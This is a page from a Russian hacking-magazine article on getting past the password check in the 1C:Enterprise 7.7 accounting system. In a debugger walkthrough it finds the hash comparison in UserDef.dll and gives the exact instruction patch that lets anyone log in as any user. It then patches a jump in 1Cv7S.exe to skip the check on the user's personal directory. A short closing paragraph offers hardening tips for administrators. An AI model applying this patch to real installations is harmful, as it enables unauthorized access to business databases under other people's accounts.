строгий аудит для 1с

NICE

Спецвыпуск: Хакер, номер #066, стр. 066-048-2

Пойдем по классической схеме, ставим брэйкпоинт на MessageBoxA (с учетом регистра): BP MessageBoxA.

Теперь на кнопку ОК, и мы вывалились в:

77D2BC33 > 833D E>CMP [DWORD DS:77D5F2E4],0

77D2BC3A 0F85 F>JNZ USER32.77D3C23E

Это системная библиотека USER32.dll, а защита находится в коде самой программы (долго прыгать по библиотекам сейчас не время, так как лишние мучения в 1С’ке, многослойном пироге с кучей используемых библиотек, ни к чему). Мои исследования привели к библиотеке: UserDef.dll. Имя Dll совпадает с названием каталога, в котором хранятся пароли пользователей. Вполне логично, что разработчики вынесли авторизацию пользователей именно в нее. Итак, <Ctrl>+<F9>, закроем сообщение об ошибке ОК. Теперь ставим бряк на секцию кода dll, чтобы не прыгать по библиотекам и не терять свое время. Теперь <F9> — и мы находимся тут:

260296AB E8 C4B>CALL <JMP.&MFC42.#1199> ; Вывод сообщения об ошибке

260296B0 68 2CF>PUSH USERDEF.2604F62C

260296B5 8BCF MOV ECX,EDI

Поднимемся чуть выше:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 51 PUSH ECX ; хэш от пароля, введенного нами

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>] ; msvcrt._mbscmp ; эта процедура сравнивает две строки и возвращает в регистре EAX ноль, если строки равны, и -1, если строки различаются

26029699 83C4 0>ADD ESP,8

2602969C 85C0 TEST EAX,EAX

2602969E 5D POP EBP

2602969F 5B POP EBX

260296A0 74 23 JE SHORT USERDEF.260296C5 ; если строки равны, продолжаем работу

Итак, мы можем внести изменения в работу этого участка и заставить 1С думать, что ты вводишь пароль. Один из рецептов — передать в процедуру сравнения указатели на одну и ту же строку:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 50 PUSH EAX ; хэш от настоящего пароля

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>]

Теперь функция всегда будет возвращать верное значение и мы сможем зайти под любым пользователем. После замены 1С запустит тебя в базу без нареканий. Однако, например, в моей фирме для каждого пользователя заведен специальный каталог, и если пользователь с таким же именем сидит в базе, то мы увидим табличку с рисунка 3.

[использование личных каталогов] — достаточно распространенное явление. Значит, мы должны убрать текущую проверку. Действуем по указанной выше схеме (бряк на MessageBoxA и несколько раз на <Ctrl>+<F9>, пока не окажешься в самом 1Cv7S.exe).

00409075 . E8 6C>CALL <JMP.&MFC42.#800>

0040907A . 8A45 >MOV AL,[BYTE SS:EBP-61]

0040907D . 84C0 TEST AL,AL

0040907F . 74 13 JE SHORT 1CV7s.00409094 ; если каталог не занят, прыгаем

00409081 . 6A FF PUSH -1

00409083 . 6A 10 PUSH 10

00409085 . 68 6C>PUSH 706C

0040908A . E8 2D>CALL <JMP.&MFC42.#1199> вывод сообщения об ошибке

0040908F . E9 84>JMP 1CV7s.0040AF18

Естественно, поменяв переход, мы пропускаем проверку и оказываемся в базе.

Теперь можно вытворять в базе что угодно, если, конечно, права пользователя позволяют.

[в этой статье] я рассмотрел версию 1С 7.7. Почему не восьмерку? Во-первых, 7.7 до сих пор очень распространена, 95% моих знакомых пользуются именно ей. Во-вторых, восьмерка не менее дырявая, чем 7.7. К такому выводу я пришел посмотрев на подход 1С к безопасности продуктов. Чуть позже проверим еще раз. Администраторам же советую использовать терминал с отключенным маппингом дисков или, при работе в обычном сетевом режиме, запускать 1С с правами другого пользователя (тогда не получится пропатчить чужой процесс), а на исполняемые файлы 1С однозначно ставить атрибут ReadOnly. Только не на всю папку, иначе она примется падать при запуске.

Не забудь заглянуть на диск — там тебя ждет небольшой бонус к статье ;).

Назад на стр. 066-048-1  Содержание
ttfb: 2.8078556060791 ms